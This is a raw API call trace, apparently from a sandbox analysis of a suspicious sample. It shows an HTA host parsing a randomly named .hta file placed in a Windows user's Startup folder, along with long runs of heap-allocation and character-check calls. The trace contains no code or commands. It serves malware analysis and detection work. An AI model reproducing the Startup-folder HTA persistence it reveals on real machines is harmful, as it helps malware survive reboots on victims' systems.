[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f6c0
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4995f8
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x499628
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x4bb520
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7f68
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4bb550
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4388
[0102.857] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb520 | out: hHeap=0x450000) returned 1
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f718
[0102.857] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4994d8, Size=0x34) returned 0x4901a0
[0102.857] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4994d8
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499658
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb520
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x499688
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f770
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4996b8
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a0638
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4996e8
[0102.858] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c3630 | out: hHeap=0x450000) returned 1
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499718
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x6) returned 0x4a0648
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499748
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499778
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x4bb568
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x4997a8
[0102.858] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b7f88
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7fa8
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7fc8
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a43d0
[0102.859] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b7f88 | out: hHeap=0x450000) returned 1
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f7c8
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4997d8
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b910
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x499808
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b868
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b7f88
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x47b850
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4418
[0102.859] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x47b868 | out: hHeap=0x450000) returned 1
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f820
[0102.859] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499838
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499868
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a0658
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x2c) returned 0x49c1e0
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f878
[0102.860] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4901a0, Size=0x4c) returned 0x48f8d0
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499898
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x47b868
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x49c218
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f928
[0102.860] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b7e08, Size=0x24) returned 0x4998c8
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4998f8
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499928
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48ae78
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499958
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x49c250
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f980
[0102.860] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499988
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4999b8
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1a) returned 0x48add8
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4999e8
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x49c288
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48f9d8
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499a18
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499a48
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48ae28
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499a78
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x49c2c0
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x497530
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499aa8
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499ad8
[0102.861] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b7e08
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x499b08
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4b5d58
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x47b940
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x24) returned 0x4b5d88
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe) returned 0x464908
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x4b5db8
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b7fe8
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b8008
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b8028
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4460
[0102.862] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x48f8d0, Size=0x70) returned 0x495428
[0102.862] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x495428, Size=0xa8) returned 0x4b96c0
[0102.862] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4899b0, Size=0x1d8) returned 0x499b40
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x497950
[0102.862] StrCmpICW (pszStr1="text/css", pszStr2="text/css") returned 0
[0102.862] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x34) returned 0x4901a0
[0102.862] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cb328 | out: ppu=0x1cb328) returned 0x0
[0102.862] CoInternetCombineUrl (in: pwzBaseUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pwzRelativeUrl="", dwCombineFlags=0x6000000, pszResult=0x1cd458, cchResult=0x1000, pcchResult=0x1cb3a4, dwReserved=0x0 | out: pszResult="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/", pcchResult=0x1cb3a4) returned 0x0
[0102.863] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xd2) returned 0x4b9080
[0102.863] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0102.863] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498668
[0102.863] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4c) returned 0x497bb8
[0102.863] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x800) returned 0x4bb7c0
[0102.863] IsCharSpaceW (wch=0xd) returned 1
[0102.863] IsCharSpaceW (wch=0xa) returned 1
[0102.863] IsCharSpaceW (wch=0xd) returned 1
[0102.863] IsCharSpaceW (wch=0xa) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x62) returned 0
[0102.863] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x7b) returned 0
[0102.863] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b81e8
[0102.863] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.863] IsCharSpaceW (wch=0xd) returned 1
[0102.863] IsCharSpaceW (wch=0xa) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.863] IsCharSpaceW (wch=0x20) returned 1
[0102.864] IsCharSpaceW (wch=0x20) returned 1
[0102.864] IsCharSpaceW (wch=0x20) returned 1
[0102.864] IsCharSpaceW (wch=0x66) returned 0
[0102.864] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.864] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.864] IsCharSpaceW (wch=0x3a) returned 0
[0102.864] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48af90
[0102.864] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.864] IsCharSpaceW (wch=0x20) returned 1
[0102.864] IsCharSpaceW (wch=0x31) returned 0
[0102.864] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.864] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.864] IsCharSpaceW (wch=0x20) returned 1
[0102.864] IsCharSpaceW (wch=0x54) returned 0
[0102.864] IsCharAlphaNumericW (ch=0x2c) returned 0
[0102.864] IsCharSpaceW (wch=0x2c) returned 0
[0102.864] IsCharAlphaNumericW (ch=0x2c) returned 0
[0102.864] IsCharSpaceW (wch=0x20) returned 1
[0102.864] IsCharSpaceW (wch=0x73) returned 0
[0102.864] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.864] IsCharSpaceW (wch=0x3b) returned 0
[0102.865] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.865] IsCharSpaceW (wch=0xd) returned 1
[0102.865] IsCharSpaceW (wch=0xa) returned 1
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x6d) returned 0
[0102.865] IsCharSpaceW (wch=0x66) returned 0
[0102.865] IsCharSpaceW (wch=0x31) returned 0
[0102.865] bsearch (_Key=0x1cf2cc, _Base=0x73295220, _NumOfElements=0x9, _SizeOfElements=0x8, _PtFuncCompare=0x73274c66) returned 0x0
[0102.865] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x49c4f0
[0102.865] IsCharSpaceW (wch=0x31) returned 0
[0102.865] IsCharSpaceW (wch=0x31) returned 0
[0102.865] IsCharSpaceW (wch=0x35) returned 0
[0102.865] IsCharSpaceW (wch=0x70) returned 0
[0102.865] IsCharSpaceW (wch=0x78) returned 0
[0102.865] IsCharSpaceW (wch=0x20) returned 1
[0102.865] IsCharSpaceW (wch=0x31) returned 0
[0102.865] IsCharSpaceW (wch=0x70) returned 0
[0102.865] IsCharSpaceW (wch=0x31) returned 0
[0102.865] IsCharSpaceW (wch=0x70) returned 0
[0102.865] IsCharSpaceW (wch=0x70) returned 0
[0102.865] IsCharSpaceW (wch=0x78) returned 0
[0102.865] IsCharSpaceW (wch=0x0) returned 0
[0102.865] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b8208
[0102.865] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4610
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x54) returned 0
[0102.866] IsCharSpaceW (wch=0x6e) returned 0
[0102.866] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4610, Size=0x60) returned 0x49ede8
[0102.866] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.866] IsCharSpaceW (wch=0x3a) returned 0
[0102.866] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x31) returned 0
[0102.866] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.866] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.866] IsCharSpaceW (wch=0x3b) returned 0
[0102.866] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.866] IsCharSpaceW (wch=0xd) returned 1
[0102.866] IsCharSpaceW (wch=0xa) returned 1
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x20) returned 1
[0102.866] IsCharSpaceW (wch=0x6c) returned 0
[0102.866] IsCharSpaceW (wch=0x78) returned 0
[0102.866] IsCharSpaceW (wch=0x31) returned 0
[0102.866] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa) returned 0x498680
[0102.866] IsCharSpaceW (wch=0x31) returned 0
[0102.866] IsCharSpaceW (wch=0x31) returned 0
[0102.866] IsCharSpaceW (wch=0x30) returned 0
[0102.866] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x78) returned 0
[0102.867] IsCharSpaceW (wch=0x31) returned 0
[0102.867] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x78) returned 0
[0102.867] IsCharSpaceW (wch=0x0) returned 0
[0102.867] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49ede8, Size=0x90) returned 0x4b9260
[0102.867] IsCharSpaceW (wch=0x31) returned 0
[0102.867] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x78) returned 0
[0102.867] IsCharSpaceW (wch=0x0) returned 0
[0102.867] IsCharSpaceW (wch=0x31) returned 0
[0102.867] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x78) returned 0
[0102.867] IsCharSpaceW (wch=0x0) returned 0
[0102.867] IsCharSpaceW (wch=0x31) returned 0
[0102.867] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x70) returned 0
[0102.867] IsCharSpaceW (wch=0x78) returned 0
[0102.867] IsCharSpaceW (wch=0x0) returned 0
[0102.867] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b9260, Size=0xd0) returned 0x4b9260
[0102.867] IsCharSpaceW (wch=0x0) returned 0
[0102.867] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x498680 | out: hHeap=0x450000) returned 1
[0102.867] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.867] IsCharSpaceW (wch=0x3a) returned 0
[0102.867] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.867] IsCharSpaceW (wch=0x20) returned 1
[0102.867] IsCharSpaceW (wch=0x32) returned 0
[0102.867] IsCharAlphaNumericW (ch=0x32) returned 1
[0102.867] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.867] IsCharSpaceW (wch=0x3b) returned 0
[0102.867] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.867] IsCharSpaceW (wch=0xd) returned 1
[0102.867] IsCharSpaceW (wch=0xa) returned 1
[0102.867] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x62) returned 0
[0102.868] IsCharSpaceW (wch=0x78) returned 0
[0102.868] IsCharSpaceW (wch=0x32) returned 0
[0102.868] IsCharSpaceW (wch=0x32) returned 0
[0102.868] IsCharSpaceW (wch=0x70) returned 0
[0102.868] IsCharSpaceW (wch=0x70) returned 0
[0102.868] IsCharSpaceW (wch=0x78) returned 0
[0102.868] IsCharSpaceW (wch=0x0) returned 0
[0102.868] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.868] IsCharSpaceW (wch=0x3a) returned 0
[0102.868] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x23) returned 0
[0102.868] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.868] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.868] IsCharSpaceW (wch=0x3b) returned 0
[0102.868] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.868] IsCharSpaceW (wch=0xd) returned 1
[0102.868] IsCharSpaceW (wch=0xa) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x20) returned 1
[0102.868] IsCharSpaceW (wch=0x7d) returned 0
[0102.868] IsCharSpaceW (wch=0x44) returned 0
[0102.868] IsCharSpaceW (wch=0x23) returned 0
[0102.868] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498680
[0102.868] IsCharSpaceW (wch=0x23) returned 0
[0102.869] IsCharSpaceW (wch=0x23) returned 0
[0102.869] IsCharSpaceW (wch=0x45) returned 0
[0102.869] IsCharSpaceW (wch=0x44) returned 0
[0102.869] IsCharSpaceW (wch=0x45) returned 0
[0102.869] IsCharSpaceW (wch=0x44) returned 0
[0102.869] IsCharSpaceW (wch=0x45) returned 0
[0102.869] IsCharSpaceW (wch=0x44) returned 0
[0102.869] IsCharSpaceW (wch=0x23) returned 0
[0102.869] IsCharSpaceW (wch=0x30) returned 0
[0102.869] IsCharSpaceW (wch=0x25) returned 0
[0102.869] IsCharSpaceW (wch=0x25) returned 0
[0102.869] IsCharSpaceW (wch=0x0) returned 0
[0102.869] IsCharSpaceW (wch=0x30) returned 0
[0102.869] IsCharSpaceW (wch=0x25) returned 0
[0102.869] IsCharSpaceW (wch=0x25) returned 0
[0102.869] IsCharSpaceW (wch=0x0) returned 0
[0102.869] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b9260, Size=0x130) returned 0x4b9260
[0102.869] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.869] IsCharSpaceW (wch=0xd) returned 1
[0102.869] IsCharSpaceW (wch=0xa) returned 1
[0102.869] IsCharSpaceW (wch=0xd) returned 1
[0102.869] IsCharSpaceW (wch=0xa) returned 1
[0102.869] IsCharSpaceW (wch=0x20) returned 1
[0102.869] IsCharSpaceW (wch=0x20) returned 1
[0102.869] IsCharSpaceW (wch=0x20) returned 1
[0102.869] IsCharSpaceW (wch=0x20) returned 1
[0102.869] IsCharSpaceW (wch=0x20) returned 1
[0102.869] IsCharSpaceW (wch=0x20) returned 1
[0102.869] IsCharSpaceW (wch=0x2e) returned 0
[0102.869] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498680
[0102.869] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498698
[0102.870] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.870] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b8228
[0102.870] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.870] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x7b) returned 0
[0102.870] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a0678
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.870] IsCharSpaceW (wch=0xd) returned 1
[0102.870] IsCharSpaceW (wch=0xa) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x66) returned 0
[0102.870] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.870] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.870] IsCharSpaceW (wch=0x3a) returned 0
[0102.870] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48afb8
[0102.870] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x62) returned 0
[0102.870] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.870] IsCharSpaceW (wch=0x3b) returned 0
[0102.870] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.870] IsCharSpaceW (wch=0xd) returned 1
[0102.870] IsCharSpaceW (wch=0xa) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.870] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharSpaceW (wch=0x7d) returned 0
[0102.871] IsCharSpaceW (wch=0x64) returned 0
[0102.871] IsCharSpaceW (wch=0x62) returned 0
[0102.871] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b8268
[0102.871] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4610
[0102.871] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.871] IsCharSpaceW (wch=0xd) returned 1
[0102.871] IsCharSpaceW (wch=0xa) returned 1
[0102.871] IsCharSpaceW (wch=0xd) returned 1
[0102.871] IsCharSpaceW (wch=0xa) returned 1
[0102.871] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharSpaceW (wch=0x2e) returned 0
[0102.871] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4986b0
[0102.871] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x4ebb68
[0102.871] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4) returned 0x4a0688
[0102.871] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.871] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b8288
[0102.871] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.871] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.871] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharSpaceW (wch=0x7b) returned 0
[0102.871] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a0698
[0102.871] IsCharSpaceW (wch=0x20) returned 1
[0102.871] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.871] IsCharSpaceW (wch=0xd) returned 1
[0102.872] IsCharSpaceW (wch=0xa) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x62) returned 0
[0102.872] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.872] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.872] IsCharSpaceW (wch=0x3a) returned 0
[0102.872] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48afe0
[0102.872] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.872] IsCharSpaceW (wch=0x20) returned 1
